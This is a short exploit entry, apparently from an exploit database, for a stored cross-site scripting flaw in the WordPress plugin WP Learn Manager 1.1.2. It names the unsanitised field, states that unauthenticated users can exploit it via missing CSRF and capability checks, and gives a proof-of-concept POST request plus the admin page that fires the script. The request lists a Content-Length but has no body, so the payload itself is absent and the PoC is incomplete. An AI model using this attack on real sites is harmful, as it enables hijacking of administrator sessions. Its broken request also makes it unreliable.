# Exploit Title: WordPress Plugin WP Learn Manager 1.1.2 - Stored Cross-Site Scripting (XSS)  
# Date: July 2, 2021  
# Exploit Author: Mohammed Adam   
# Vendor Homepage:  
# Software Link:  
# Version: 1.1.2  
# References link:  
The plugin does not properly sanitise or validate its User Field Titles, allowing XSS payload to be used in them. Furthermore, no CSRF and capability checks were in place, allowing such attack to be performed either via CSRF or as any user (including unauthenticated)  
*Proof of Concept:*  
POST /wp-admin/admin.php?page=jslm_fieldordering&task=saveuserfield HTTP/1.1  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 207  
Connection: close  
Upgrade-Insecure-Requests: 1  
Then visit /wp-admin/admin.php?page=jslm_fieldordering&ff=3 as admin to trigger the XSS. It may also be triggered elsewhere